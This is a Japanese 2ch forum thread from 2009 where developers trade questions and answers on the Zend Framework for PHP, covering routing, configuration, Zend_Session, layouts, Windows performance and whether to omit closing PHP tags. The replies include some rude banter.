610nobodyさん:2009/10/10(土) 12:21:08 ID:???
>>608
蛇足かもしれんが

フレームワークってのは開発時にたいてい必要な
似通っててつまらない処理の記述量を減らすためのものでもある
んでそういう処理のひとつとしてルーティングっていう
どういうリクエストをどう捌くかってのものがある

Zend FrameworkではZend_Controllerが
フレームワークとしての大きな役割を担ってて
ルーティングもそのひとつ
あるルートに対してデフォルトや任意の
モジュール・コントローラー・アクションを割り当てたりする

慣れてくるとごちゃごちゃとやってた頃に比べて
はるかに設計することやロジックの記述に時間を割けるようになる
ZFが最適かはなんとも言えんが俺は色んなの試してZFに落ち着いた
どのフレームワーク使おうがルーティングは大事だ
がんばれ
611nobodyさん:2009/10/10(土) 12:38:29 ID:???
symfonyは1.2になったときに見捨てられた感があるな
612nobodyさん:2009/10/10(土) 17:02:28 ID:???
おれは、2.0になったときに見捨てられた
613nobodyさん:2009/10/13(火) 12:28:03 ID:???
Hello Worldを表示するだけの簡単なサンプルってありませんか?
614nobodyさん:2009/10/13(火) 12:42:07 ID:???
ぐぐった?
615nobodyさん:2009/10/13(火) 13:28:39 ID:???
どのキーワードでググレばいいか教えてください
616nobodyさん:2009/10/13(火) 14:10:34 ID:???
617nobodyさん:2009/10/14(水) 22:03:58 ID:???
>>616
やっさしーなーlol
618nobodyさん:2009/10/16(金) 12:49:04 ID:???
>>616
濡れた
619nobodyさん:2009/10/17(土) 12:33:17 ID:???
>>616
漏れた
620nobodyさん:2009/10/17(土) 13:27:19 ID:???
>>616
蕩れた
621nobodyさん:2009/10/18(日) 13:28:13 ID:???
>>616
懣れた
622nobodyさん:2009/10/18(日) 22:21:29 ID:XYGMGdV2
萌えた
623nobodyさん:2009/10/21(水) 13:22:20 ID:???
2.0はまだかね?
624nobodyさん:2009/10/21(水) 14:18:04 ID:???
すいません、今やってます
625nobodyさん:2009/10/23(金) 14:07:32 ID:???
FlashMessengerでforwardではクリアされないんだが、redirectすると、メッセージがクリアされてしまう。
リダイレクトではpostDispatchの段階でクリアされてしまうようなんですが、いいアイデアありませんか?
626nobodyさん:2009/10/23(金) 17:24:06 ID:???
まずはforwardとredirectの違いを調べよう
Zendの話じゃなくてWebの仕組みとしての違いを
627nobodyさん:2009/10/23(金) 17:45:32 ID:???
>>626
言いたいことはわかるし。そこは理解してるつもり。

でもさ、FlashMessengerってセッション使ってるわけじゃん?
なんか、上手いことできないかな〜って。
628イとウ:2009/10/25(日) 15:44:34 ID:sG/ZSqsY
はじめまして。
Zend_Validate のメッセージを和訳していただきたいのですが
ここでお願いするのは間違えていますか?

現在、メッセージ・テンプレートの抽出( gettext 形式)まで行いました。
629nobodyさん:2009/10/25(日) 15:47:34 ID:???
いいよ、いくらで?
630イとウ:2009/10/25(日) 15:50:18 ID:sG/ZSqsY
>>629
相場はいくら位でしょう?
また共有目的で無料というのはいかがでしょう。
631nobodyさん:2009/10/25(日) 15:55:00 ID:???
メッセージ量どれくらい?
632イとウ:2009/10/25(日) 15:59:08 ID:sG/ZSqsY
メッセージ:103
単語数:923
文字数(スペース含む):5553
文字数(スペースなし):4648

です。
633nobodyさん:2009/10/25(日) 16:11:06 ID:???
ってかそのシステムでどんなvalidateが必要なのか考えて組まなきゃならないんだから
そのバリデートを組み込むたびに一つずつ翻訳というかvalidateの目的通りの日本語を埋めていけばいいだけなんじゃないのか
634nobodyさん:2009/10/25(日) 16:18:23 ID:???
それが既に英語であるんじゃないの?
635イとウ:2009/10/25(日) 16:19:15 ID:sG/ZSqsY
作成するステムで必要なものではなく共有目的が当初の考えです。

Zend_Validate のデフォルトのメッセージ・テンプレートを
日本語で書いたものを必要としています。

私には Zend_Validate_Barcode_* を使う日は来ないと思いますが
お願いする対称に含みます。

また、ネット上で和訳を検索し一部分埋めています。
まったく手を着けていないものは約 30 個あります。
手を着けた約 70 個についても修正などをお願いしたいです。

共有に関しては
・レンタルサーバの代金などの費用をこちらで払いつづける
・現在こういった目的に適した領域がありそちらを借りる
などがあると思いますが、まだ考えていません。
636nobodyさん:2009/10/25(日) 16:20:35 ID:???
どうして用意されてないかというと必要としてる人がいないから
理由はデフォルトのエラーメッセージのまま使う人が殆どいないので
637nobodyさん:2009/10/25(日) 16:25:03 ID:???
>>635
じゃ君がリーダーシップ取って翻訳プロジェクト始めればいいだけの話じゃないか
638イとウ:2009/10/25(日) 16:31:08 ID:sG/ZSqsY
確かに、おっしゃる通り

Zend_Validate_StringLength::TOO_LONG
"'%value%' is greater than %max% characters long"
を和訳したものをエラー・メッセージとして書き出すよりも

例えば、”本文は %max% 文字以内で入力してください”
など値よりもフォームのラベルを含める場合が多いと思います。

「都道府県」や「フリガナ」は想定されておらず
"'%value%' was not found in the haystack" ではなく
”選択肢の中から選択してください”

”フリガナは全角カタカナで入力してください”
であるとは思います。
639イとウ:2009/10/25(日) 16:39:03 ID:sG/ZSqsY
>>637
そうします。
と言って、ここで発言を止めた方が良いでしょうか?
640nobodyさん:2009/10/25(日) 16:42:29 ID:???
必要だと思う人が作ればいいんだよ。それがオープンソース。
賛同を得てみんなでやろうってんじゃなくてさ。
まぁ今までなかったのは、バリバリ作ってる人達が必要としてなかったからということでもあるんだけど。
641イとウ:2009/10/25(日) 16:56:14 ID:sG/ZSqsY
>>640
ありがとうございます。勉強になりました。

私事ですが
今回初めて( PHP なのに ) python を使い Zend/Validate 以下から
メッセージ・テンプレートを抽出し gettext 形式で保存する。
など新しく試したことも多かったので

>>637
の方向を試して見ようと思います。
642nobodyさん:2009/10/26(月) 22:27:51 ID:???
確かどっかに日本語訳があったから探してみて
643nobodyさん:2009/11/04(水) 14:03:58 ID:???
GNU
644nobodyさん:2009/11/10(火) 13:13:58 ID:???
定数的な値をapplication.iniに入れたいときってさ、こんな感じでいいですよね?

application.ini で
resources.frontController.foo = bar

モデルの中で
Zend_Controller_Front::getInstance()->getParam('foo');

私の記憶が確かなら昔はbootstrapの中でZend_Registryに登録してたので
ちょっと違和感があるんだけど、これでいいよね?
645644:2009/11/10(火) 16:44:29 ID:???
結局こんなふうにした
application.ini で
conf.foo.bar = ほげほげ

Bootstrapで
protected function _initConf()
{
Zend_Registry::set('conf', new Zend_Config($this->getOption('conf')));
}

コントローラやモデルで
$bar = Zend_Registry::get('conf')->foo->bar;

違和感ないですよね?
646nobodyさん:2009/11/11(水) 20:08:27 ID:0BFUpwQj
レイアウトの管理をどうしたら良いか相談です。
ヤフーみたいな左がメインカラム、右がメインカラム(内容は左の内容に連動)というレイアウトのとき、
レイアウト管理や右カラムのコンテンツの生成はどうしたら良いでしょうか?

Zend_Layoutがありますが、あれって各コントローラ側から変数を渡して
レイアウトスクリプトの中身をパターン分けすることって出来ますか?
東京の店舗の紹介をしてるページなら、レイアウトスクリプト部分も東京の関連情報を表示するとか。
というか、今参考にしてる本(ZFW徹底入門)を見ると、レイアウトスクリプトは全く静的なモノって印象ですが
そこに動的な要素を加えることは出来るんでしょうか?

皆さんは、各ページで共通部分のテンプレート化、またテンプレート部分に動的要素を加える方法、
それぞれどうしてますか?
すみませんがご意見お願いします。
647646:2009/11/11(水) 20:41:49 ID:0BFUpwQj
もしかして、テンプレート領域なのに動的に変化させようってのがおかしいのかな?
でも、完璧に静的な部分なんて今時のwebアプリにあるのか怪しいしなぁ。。
648nobodyさん:2009/11/11(水) 22:07:39 ID:???
Viewスクリプトも使えよボケナス
649nobodyさん:2009/11/11(水) 23:26:34 ID:???
>>647
スクリプトってのは動的なんだよボケナス
650nobodyさん:2009/11/12(木) 00:40:17 ID:???
どうしてその本を見てレイアウトスクリプトが静的だと理解したのか理解に苦しむ
同じ本持ってるけど
651nobodyさん:2009/11/12(木) 12:08:16 ID:???
静的を性的と思っているから?
652nobodyさん:2009/11/12(木) 15:37:09 ID:???
グーグル巡回で死にそうなサイトだなw
動的に変更しなきゃ逝けない頻度を詳しく調査して、可能な限り静的で済ませたほうが共用レン鯖の負荷は軽いよ。
653nobodyさん:2009/11/12(木) 15:51:48 ID:???
誰もそういう話はしていないが
654nobodyさん:2009/11/13(金) 12:33:09 ID:DRo8fFM6
646=652=軽い池沼
あまり相手にしないほうがいいとおも
655age:2009/11/13(金) 16:57:28 ID:c9uuCv2R

Zend_Service_Amazon_CustomerReviewについて質問。

reviewerを取得できないのですが、ReviewerのNameを取得する方法
はあるのでしょうか。

656nobodyさん:2009/11/16(月) 14:46:40 ID:???
Zend_Service_Amazonはいつになったら署名に対応になるんだろ
657nobodyさん:2009/11/18(水) 12:26:14 ID:???
ちらっと見た感じ使えそうだけどな
コンストラクタの第3引数をセットすれば。
@paramの説明は無いけどねw

/**
* Constructs a new Amazon Web Services Client
*
* @param string $appId Developer's Amazon appid
* @param string $countryCode Country code for Amazon service; may be US, UK, DE, JP, FR, CA
* @throws Zend_Service_Exception
* @return Zend_Service_Amazon
*/
public function __construct($appId, $countryCode = 'US', $secretKey = null)
658nobodyさん:2009/11/19(木) 22:55:31 ID:???
リファレンス本が欲しい
659nobodyさん:2009/11/20(金) 02:58:54 ID:???
すぐ仕様が変わるのに本は無駄。
ソースコード見て使い始めちゃったほうが。

ヲレリファレンスウェブをzendで作ればいいじゃんw
660nobodyさん:2009/11/22(日) 12:47:29 ID:Q6zaAGKZ
仕様は増えることはあっても減ったり変わったりはあまり無いと思う。
ドキュメンターで自動的に作ったリファレンスもあるけど、API(引数)知りたい
ぐらいの事だったら確かにソース直接見たほうが早いよね。

それよりもquickstartをもっと充実させてほしい。
661nobodyさん:2009/11/22(日) 18:14:02 ID:???
ヲレクイックスタートを後悔すればいいだけでは?
662nobodyさん:2009/11/22(日) 20:41:23 ID:???
この手のフレームワークにクイックスタートが必要なのか疑問
663nobodyさん:2009/11/22(日) 20:53:21 ID:Q6zaAGKZ
好き勝手にZFWを使ってたら、ぜんぜんMVCじゃなくなってたでござる
664nobodyさん:2009/11/22(日) 20:58:09 ID:???
入門としてクイックスタートは必要だよ。
俺はZendがPHPのフレームワークに触れた最初だったんだが、
どう作ればいいかさっぱり分からなかった。
日本語で書かれた公式ドキュメントは情報少ないしね。
手探り状態でやっていってもいいんだが、時間かかってしょうがない。
最初の1歩くらい導いてほしい。
665nobodyさん:2009/11/22(日) 21:10:41 ID:???
zendは使い方によって全く別物になっちゃうから指針になるものは必要
666nobodyさん:2009/11/22(日) 21:14:32 ID:???
そうそう。
なかなか子どもできないなーと思ってたら、違う場所に入れてたなんて
こともあるしね。
最初が肝心。
667nobodyさん:2009/11/22(日) 21:33:09 ID:???
いくらZendといえどもMVCを崩すのは逆に面倒だろw
668nobodyさん:2009/11/23(月) 16:10:56 ID:???
WindowsでZFを動かしているのですが、ページが表示されるまでやたら時間がかかります。
Windows×ZFの際に、何かボトルネックがある気がします。

■すばやく表示される
・自宅のVMware上のApache(Ubuntu)で動かすZFアプリケーション
・レンタルサーバー上のApache(Debian)で動かすZFアプリケーション
・自宅のApache(Win)で動かす、ZFを使わないアプリケーション

■表示までに時間がかかる
・自宅のApache(Win)上で動かすZFアプリケーション

上記を総合すると、Win×ZFという環境の場合、どこかに問題が潜んでいる気がするんです。

根本的な原因を探るには、もうちょい切り分ける必要があると思うんですが、
あとどういう検証するべきでしょうか。

教えて、問題解決の達人の誰か!
669nobodyさん:2009/11/23(月) 16:20:10 ID:???
ZFってrequire_onceが何度も実行されてるから、読み込みが遅いストレージだとその分時間がかかりやすいとか。
あと、include_pathでZFライブラリがあるpath指定が後ろの方にあるためとか。
うちも開発環境がWin上だけど、ZF使ったからって特別遅く感じたことはないな。
670668:2009/11/23(月) 16:30:46 ID:???
>>669
同一マシン上で、WinとLinux(VMですが)の比較をしているので、
ストレージの問題ではなさそうです。
ゲストOS側で遅くなる、ということならまだありそうですが、ホスト側のWinが遅いので・・・。

include_pathについては、調べたらWin側のが1つ多くなってましたが、
いかんせん1つなので違うと思います。

でもサーバー内の設定から検証してみる必要もありそうですね!
ヒントを得ました。ありがとう。>>669
671nobodyさん:2009/11/23(月) 16:32:53 ID:???
>>670
ぜひ原因を見つけて教えてくれ
672668:2009/11/23(月) 16:42:15 ID:???
なんか常に遅いわけでもないらしい。
一度リロードを押すと、レスポンスまで10秒ほどかかるけど、
次にリロードしたときは、一瞬で表示される。

何らかのキャッシュまわりが怪しい気がしてきました…。
とはいっても、ZFアプリケーション自体の設定は何も違わないわけですが。

まずSmarty(Zend_Viewから呼んでる)を疑って、キャッシュを消してみたけど、
特に変わらなかった。(早いときは早いし、遅いときは遅い)

DBについてはphpMyAdminとか使ってる限りはサクサク動くからこれも違うらしい。

やっぱりphp.iniとかhttpd.confとか探らなきゃダメなのかも…。

>>671
ただ単に開発環境での作業効率が落ちるからイライラしているだけで、
肝心の本番サイト自体はサクサク動くから、必ずしも大きな問題ではないわけで、
飽きて諦める可能性も大w
あんまり期待はしないで。
673nobodyさん:2009/11/23(月) 17:14:30 ID:???
VM上では問題ないと言うことなので外していそうですが、
アプリ上で名前解決を行っていて、DNSからうまく引けていないとか。

はたまた、Win上にあるApacheやPHP本体が保存されている場所が
たまたまHDDが腐りかけているとか。

WinVistaやWin7ならUACが絡んでいたり?

include_pathは数よりもその順序な。ZFが先頭になかったら、先頭に持ってきてみて。
674nobodyさん:2009/11/23(月) 17:45:06 ID:???
Winには特別なソフトいれてないかい?
Win+ZendFW+Smartyでシステム構築してもなんら問題なく動いてるよ。
675sage:2009/11/23(月) 17:46:58 ID:???
これをみてがんばって!
http://framework.zend.com/manual/ja/performance.html

http://d.hatena.ne.jp/i_ogi/20080505/realpathcache

ちなみに、1回目と2回目で速度が違うのは、1回目は中間言語への変換が Zend Optimizer で行なわれ、2回目はその結果を再利用しているため、とも
考えられるので、あらかじめZend Guard で中間言語への変換を済ませておいてからサーバへUpload、という手もあり。
676nobodyさん:2009/11/23(月) 18:03:42 ID:???
applicationフォルダとかないよ
どこにあるの?><
677nobodyさん:2009/11/23(月) 18:19:43 ID:SQwNDPch
まそんなのは、再現してる限り必ず解決できる問題なので置いとくとしても。

こっちのほうが気になるんだよなあ
なんでSmarty使ってんの?
好んで使ってんの?
バカなの?
678nobodyさん:2009/11/23(月) 20:20:03 ID:???
PHP使っている馬鹿がそれを言うのかw
679nobodyさん:2009/11/23(月) 21:19:23 ID:???
ソースから再コンパイルして無駄な機能はそぎ落とさないとなあ。
unix系ならそういうの自動で遣ってくれてる。
680nobodyさん:2009/11/23(月) 22:52:45 ID:EC5WPStk
質問させてください。(phpスレで聞いたらスレ違いと言われた話題なんですが)
ユーザー:山田さんの情報を表示するパス、localhost/user/index/uId/yamada をルーティングで
localhost/yamada とすることが出来ると思いますが、手順をどうすべきか悩んでます。
こういう場合このユーザ名(yamada)とコントローラ名がぶつかったらルーティングできないですよね?
※yamadaコントローラがあったらパラメータなのかlocalhost/yamada(/index)へのアクセスなのか
 わからないから。

と言うことは、
1)ユーザー名の登録の時に、既存のコントローラーとかぶる名前の入力を禁止する
2)ルーティング時に、uId(yamadaなど)を一つずつコントローラ名と照合
3)照合してぶつかってなければルーティング
という手順で実現するしかないんでしょうか?
もっと賢いやり方はないでしょうか。
また、サブドメインにユーザ名を入れたhttp://yamada.hoge.jp/でhttp://localhost/user/index/uId/yamadaと
同じアクションを実践する処理をいちいちhttpd.conf?を操作するのでなく自動化することは出来ないでしょうか。
(zendFWの機能で。)

長くなりましたが、回答お願いします
681nobodyさん:2009/11/24(火) 00:04:19 ID:???
>>680
どっちもできますよ、簡単に。
そんなに上手に質問できるのにリファレンスを読まないなんて。。
まあその辺の説明は、確かにちょっと読み辛いですが。

>>678
jsp + smarty で何かいいことありますか? と同じ質問なのでは
682nobodyさん:2009/11/24(火) 07:13:43 ID:???
>>664
ボランティアだと面倒見切れないので有料になるけど、何万円ならOK?
683nobodyさん:2009/11/24(火) 21:02:46 ID:???
はいはい
684nobodyさん:2009/11/24(火) 21:56:30 ID:???
Zendに手をつける前に、Cakeを学んできた方がいいですか?
685nobodyさん:2009/11/24(火) 22:49:25 ID:???
いや、Zendをやりたきゃすぐやったほうがいい。
PHPのフレームワークなんて学ぶってほど難しくないし。
てか、なぜCakeが?
686nobodyさん:2009/11/25(水) 12:30:12 ID:???
Zendは、テンプレートファイルでPHPの終了タグを省略するから、Eclipseで書いてると文法エラー出まくりになる...orz
Cakeはそんなことない
687nobodyさん:2009/11/25(水) 12:41:55 ID:???
Eclipse使わなきゃいいだけ
viでゴリゴリ書け
688nobodyさん:2009/11/25(水) 12:59:56 ID:???
Eclipseってしょぼいんだな。
689nobodyさん:2009/11/25(水) 13:13:13 ID:???
アラートの設定も知らないでEclipseを使ってる人って初めて見た
690nobodyさん:2009/11/25(水) 13:36:07 ID:???
別に省略しなくてもいいんじゃないの
俺は省略してないけど
691nobodyさん:2009/11/25(水) 17:29:57 ID:???
省略することが推奨
?> があることによるケアレスミスを防げるから
692nobodyさん:2009/11/25(水) 17:43:49 ID:???
?>云々はZendというよりPHPの仕様だからどっちでもいい
693nobodyさん:2009/11/25(水) 19:34:32 ID:???
cronで某所のhtmlファイルをZend_Http_Clientを使ってダウンロードしてるんだけど、php5.2.9 から php5.2.11 にアップデートしたら 'Invalid chunk size "" unable to read chunked body'って例外がでて半分くらい取得出来なくなったんだ。なぜだろう?
CentOS5.4 x64 で、phpはソースからコンパイル
694nobodyさん:2009/11/25(水) 19:44:36 ID:???
chunk sizeがInvalidなんだろ
695nobodyさん:2009/11/25(水) 20:36:58 ID:???
確かにそうだね…どうすれば、だったね。
まあ、アップデートしなければいいわけだけど、今後もそうだと困るし
696nobodyさん:2009/11/27(金) 00:18:27 ID:???
情報弱者が多いな。この仕事向いてないから転職したらw
697nobodyさん:2009/11/27(金) 07:45:30 ID:???
今の時代ググれば何でもでてくる。
698nobodyさん:2009/11/27(金) 07:47:37 ID:???
>>697
信頼性は保証されないけれどね
699nobodyさん:2009/11/27(金) 08:01:20 ID:???
もって4,5年ってとこか
700nobodyさん:2009/11/27(金) 12:00:17 ID:???
>>699
君の勤め先のこと?
701nobodyさん:2009/11/27(金) 13:41:08 ID:???
この仕事に未来はないな
702nobodyさん:2009/11/27(金) 14:39:48 ID:yRRBxbeQ
>>691
?>があることによるケアレスミスってどんなの?
703nobodyさん:2009/11/27(金) 14:41:43 ID:???
<?php
if (false) {
$ret = "俺は天才";
?>
} else {
$ret = "俺はバカ";
}
704nobodyさん:2009/11/27(金) 14:44:30 ID:???
>>703
噴き出したw
そんなの普通に気をつけてればオッケーだろ〜
705nobodyさん:2009/11/27(金) 14:47:55 ID:???
>>702
?>以後にある空行が出力されて、header()でエラーが出るとか。
706nobodyさん:2009/11/27(金) 14:50:43 ID:???
>>705
なるほど…他にもあるかな
もっと勉強しなきゃいけないな、ありがとう
707nobodyさん:2009/11/27(金) 22:20:07 ID:???
>>701
考え方次第だと思う。
東南アジア諸国との間のブリッジSE に転向してみては?
708nobodyさん:2009/11/27(金) 22:23:43 ID:???
>>707
ほんとお前らって口だけだよなw
709nobodyさん:2009/11/27(金) 22:56:07 ID:???
口以外は営利活動で出すんでしょ
710nobodyさん:2009/11/27(金) 22:58:30 ID:???
707が焦ってるようで吹いたwwwwww
711nobodyさん:2009/11/28(土) 09:33:24 ID:???
>>708
っというか指先(w
712nobodyさん:2009/11/28(土) 11:30:24 ID:???
話し変えるけど(w もう 2.0 RoadMap はご覧になってます?>ALL
http://framework.zend.com/wiki/display/ZFDEV2/Zend+Framework+2.0+Roadmap
713nobodyさん:2009/11/28(土) 17:51:29 ID:XeoSRoiL
$session = new Zend_Session_Namespace('test');

セッションの値を読み込むとき、スクリプトごとに
毎回 new でインスタンスつくんないといけないの?

$_SESSION みたいに使えないの不便じゃない?
714nobodyさん:2009/11/28(土) 19:01:04 ID:???
オブジェクト指向完全否定ですか
715nobodyさん:2009/11/28(土) 22:52:39 ID:???
見ていて思うけど、皆さんストレスたまっている?
716nobodyさん:2009/11/28(土) 23:01:19 ID:???
こんなフレームワーク使ってるからストレス溜まるんだよ
717nobodyさん:2009/11/28(土) 23:21:28 ID:???
フレームワークじゃなくてPHPのせいじゃないのかね
718nobodyさん:2009/11/29(日) 13:30:12 ID:???
そんなPHP上のフレームワークだからイライラしてるんだ。…あれ?
719nobodyさん:2009/11/29(日) 14:29:07 ID:???
>>713
$controller->session->xxxxx でアクセス出来るようにでもすればいいんじゃないの。
$_SESSIONより遙かに便利。
720nobodyさん:2009/11/29(日) 16:18:20 ID:???
使うときだけインスタンス立ち上げるようにしないとか流石PHPプログラマだな
721nobodyさん:2009/11/29(日) 16:38:54 ID:???
WEBプログラミングってちょっと勝手が違うじゃなん
722nobodyさん:2009/11/29(日) 18:40:31 ID:???
>>709
IRC の #zftalk.dev でコミットログも分かるから、一度見てみることをお勧め
723nobodyさん:2009/11/29(日) 19:19:33 ID:???
>>720
セッション使うなら99%インスタンス作るだろw
724nobodyさん:2009/12/03(木) 21:49:45 ID:3lsXGt7/
ちょうどZend_Sessionの話題が出てるんで質問させてください。
フォームの入力>確認>修正という画面遷移でZend_Sessionを使いたいです。
そこで、確認画面でクエリ情報を丸ごとセッションに入れて、
その後の修正画面にセッション情報を持ち越したいんですが上手くいきません
以下の手順でおかしいでしょうか?

class FormController extends Zend_Controller_Action {
public function init(){
}
public function indexAction(){
$params = $this->getRequest()->getParams();
$mode = $params['mode'];//入力画面モード(入力、確認、修正)を確認
if(!$mode){//入力画面
$sess1 = new Zend_Session_Namespace('form');
}
if($mode == "確認"){//確認画面
Zend_Session::start();
//セッションに送信値をまるごと格納---#1
$sess1->postAry = $params;
var_dump($sess1->postAry);//これは中身がある
}
if($mode == "修正"){//修正画面
Zend_Session::start();
//↓これがNULLになっています。#1の値が入ってるつもりだったんですが
var_dump($sess1->postAry);
}
}
}
単純なことかもしれませんが、ハマってしまいました。宜しくお願いします。
725nobodyさん:2009/12/03(木) 22:07:40 ID:???
えっと、変数はですね・・・オブジェクトを格納した・・・
リクエストのmodeで判定しちゃうとですね・・・
とりあえず、
var_dump($sess1);
をまずはやってみたら?
それから、関係ないけど$this->_getParamsというのもある。
726nobodyさん:2009/12/03(木) 22:23:18 ID:???
おまえら、ZendFrameworkベースのlivecommerceなるものが出たぞ。
727nobodyさん:2009/12/03(木) 22:42:25 ID:3lsXGt7/
>>725
早速ありがとうございます
$modeってのは<input type="submit" name="mode" value="修正" />みたいに
フォームのボタンとして設定されているパラメータなんです。確認画面/修正画面などシーンの判別は上手くいっています。
それとは別の問題だったらすみません。説明不足だったかもしれないです、すみません。

var_dump($sess1);のテスト、やりました。
 if($mode == "確認"){
  Zend_Session::start();
  var_dump($sess1);以下略
でも
 if($mode == "修正"){
  Zend_Session::start();
  var_dump($sess1);以下略
でもNULLです

これって、画面遷移した時に入力画面の $sess1 = new Zend_Session_Namespace('form'); で作ったオブジェクト($sess1)は
消えてるからNULLで当たり前ってことですよね

だとしたらなぜ 確認画面で実行してる $sess1->postAry= $params;がエラー起こさないんでしょうか。

うーん、わからない。どうやったら各画面にセッションデータを引き継げるんでしょうか?
Zend_Session::start();しておけば、名前空間オブジェクト$sess1を引き継げると思ってたんですが
そうではないってことは間違ってないですよね…?
728727:2009/12/04(金) 00:55:54 ID:???
解決しました
セッション値読み込む度にインスタンスつくるって仕様だったんですね
>>713さんからの流れを地道に確認してれば済むことだったのに予想外過ぎて…
スレ汚しすみませんでした
729nobodyさん:2009/12/09(水) 17:18:54 ID:anat6YPp
すみません、ZendFrameworkのリファレンスって本家以外には無いのでしょうか?
例えばSearchで_headerなんか(http://framework.zend.com/manual/search?query=_header&language=all&search=Search+Manual!)を調べても、なかなか自分の思ったようなものが出てきません

PHPやPEARのマニュアルのようにパラメータとか、返り値、構文等が出てくるものを期待しているのですが、無いのでしょうか?
CakePHPはリファレンス本があるようですが、ZFは無いようで・・・
730nobodyさん:2009/12/09(水) 20:37:29 ID:???
731729:2009/12/09(水) 21:04:55 ID:???
>>730
申し訳ございません
このサイト、どのように使えばいいのでしょうか?
以前>>1に書かれていたので行ったのですが使い方が分かりませんでした
732nobodyさん:2009/12/09(水) 21:59:06 ID:???
>>731
バカ?
733nobodyさん:2009/12/09(水) 23:10:19 ID:???
MSDNやJavaDocとかと使い方ほぼ同じだろ
734nobodyさん:2009/12/10(木) 18:41:05 ID:???
中小規模サイト向けって言ってるけど意味不明
どういうこと?
機能のことを言ってるの?
735nobodyさん:2009/12/10(木) 19:43:33 ID:???
意味不明なら素直に従っておけばいいのでは
いろんなフレームワーク使って作っているうちに解るよ
ちなみに一人で全部やるなら何使っても同じ
736nobodyさん:2009/12/11(金) 02:44:29 ID:???
一人で遣るなんて手が回らなく成るだけだから、商用サポート受けられるのにしとけ。
趣味で遣るなら、駄目なら乗り換えるで居心地いい所に落ち着くまでは苦労が続くのが普通。

http://pc11.2ch.net/test/read.cgi/php/1253912143/
【PHP】PHPフレームワーク総合スレ14
http://pc11.2ch.net/test/read.cgi/php/1172328149/
2ch有志がPHPフレームワークを作るスレ
737nobodyさん:2009/12/11(金) 03:02:24 ID:???
中規模って言っても素人が想像する大規模サイトくらいのことだから問題ないよ
大規模ってのはそれこそYahooとかあんなレベルだから
ECサイトとかオークションとかあんなくらいなら普通に中規模
738nobodyさん:2009/12/11(金) 08:44:01 ID:???
フレームワークが必要だな、と感じたら中規模以上
739nobodyさん:2009/12/11(金) 11:52:51 ID:???
必要と感じるのは能力次第な事も有るから何とも。
PEARだけでSNS作っちゃうスーパマンも居るだろうし、フレームやCSS生成にフレームワーク必須レベルも居るだろうし。
740nobodyさん:2009/12/11(金) 12:16:14 ID:???
技術力あるからフレームワーク使わないとか
そう言うことじゃないと思う
741nobodyさん:2009/12/11(金) 12:33:25 ID:JAvSDZev
フレームワーク使うと約束事ができるから、ある程度人数多くても管理しやすい。

742nobodyさん:2009/12/11(金) 14:37:08 ID:???
>>741
それはあるね。
でも、新しいフレームワーク使うときは教えるのに一苦労。
後輩からちょっと変わったこと聞かれて、
「今忙しいから後でいい?」
と答えたくせに、裏で必死こいて調べるとかw
先輩面すんのも楽じゃないぜ。
743nobodyさん:2009/12/11(金) 14:38:42 ID:???
えっマニュアル充実してるじゃん
調べたら解るから自分でやりなよ

でいいのでは

Symfony除く
744nobodyさん:2009/12/11(金) 14:59:07 ID:???
そりゃマニュアルに書いてあることならググレカスで終わりだけどさ、
いろいろやってると訳わからん不具合も出てくる。
システム担当者が俺だから責任持ってやらんとならんのよ。
745nobodyさん:2009/12/11(金) 15:07:39 ID:???
>>744
別にあなたがシステム担当者とか誰も知りたくないです。。
746nobodyさん:2009/12/11(金) 15:28:34 ID:???
プログラマなら自分で解決できないとなんの成長もせんだろ
不具合出るたびに担当者に投げるプロジェクトってなんだよw
747nobodyさん:2009/12/11(金) 16:00:25 ID:???
別に不具合出るたびに聞きに来てるわけじゃないよ。
それにすぐこの業界は「自分で調べないと成長しない」というけど、
会社としてチームとしては聞きにきてくれたほうがいい。
そうすればたいがい10秒で終わる。
仕事時間が増えれば体力を消耗するし、残業になれば余分に金がかかる。
自分で長い時間かけて問題に取り組めば知識や技術が身につくが、
そんなもん会社でやるべきことじゃない。
少なくとも忙しいときにそんなことやってはいけない。
なぜなら会社は利益を上げることが第1の目的だから。
会社で新人がまず学ばなきゃならないのは、どうやって金を稼ぐかってこと。
日本のIT業界に関係する人間はその部分が弱すぎる。
コスト計算さえできないのにSEを名乗ってるバカが多すぎなんだよ。んったく。
おっと私怨失礼。
748nobodyさん:2009/12/11(金) 16:17:00 ID:???
>>747
なら最初っから、身についてる奴を雇えよ (笑)
749nobodyさん:2009/12/11(金) 17:30:20 ID:???
View Helperを継承したクラスで、View Helper呼び出し元のViewを参照する事はできますか?
750nobodyさん:2009/12/11(金) 23:20:12 ID:???
ViewHelperにsetViewが実装してあれば、Zend_ViewはsetView($this)してくれる
751nobodyさん:2009/12/12(土) 12:39:05 ID:???
>>750
ありがとうございます。
ちゃんと考えて作られてたのですね、素晴らしい!
検索してみたらこんなページがあったので貼っておきます。

ttp://codezine.jp/article/detail/2929

752nobodyさん:2009/12/13(日) 02:14:28 ID:???
ビュースクリプトで public/images/hoge.jpg を表示させたいのですがうまくいきません
コントローラーで表示させないといけないんでしょうか?
753nobodyさん:2009/12/13(日) 02:23:10 ID:???
<img src="public/images/hoge.jpg">
754nobodyさん:2009/12/13(日) 02:31:08 ID:???
<img src="/images/hoge.jpg">
publicディレクトリはドキュメントルートじゃないの
755752:2009/12/13(日) 03:51:18 ID:???
>>753
>>754
返答ありがとうございます.でもやっぱりできませんでした.
ディレクトリの構造はZend Framework推奨のものにしています.
画像だけならコントローラー内で
$response = $this->getResponse();
$response->setHeader('Content-Type', 'image/jpeg');
$response->setBody(file_get_contents('./images/temporary-closed.jpg'));
で読み込めたんですが
これだとビュースクリプトの内容が表示されなくて困ってます.
756752:2009/12/13(日) 03:54:25 ID:???
>>755ミスです
コントローラ内の画像がhoge.jpgでした
$response = $this->getResponse();
$response->setHeader('Content-Type', 'image/jpeg');
$response->setBody(file_get_contents('./images/hoge.jpg'));
757nobodyさん:2009/12/13(日) 04:03:33 ID:???
あたりまえだろ…
どこから説明していいか迷うわ
758nobodyさん:2009/12/13(日) 12:20:48 ID:???
これはひどい
759nobodyさん:2009/12/13(日) 19:43:28 ID:???
ワロタ
もし本気ならContent-Typeはultipart/mixedだぞw
760nobodyさん:2009/12/13(日) 19:57:29 ID:???
なんかもうね。
こういうのが聴いて来られても無駄に成るだけのタイプ。
自分で調べないから、成長しないしねえ。仕事出来る人の時間を消耗するだけだから、チームとしてのパフォーマンスが堕ちる。
761nobodyさん:2009/12/13(日) 20:06:02 ID:???
>>760
お前とチームになった覚えはない
762752:2009/12/13(日) 20:50:29 ID:???
調べてもわからなかったので質問してみたんですが.
もっと勉強してからにします.
変な質問してすみませんでした.出直してきます.
763nobodyさん:2009/12/13(日) 21:35:29 ID:???
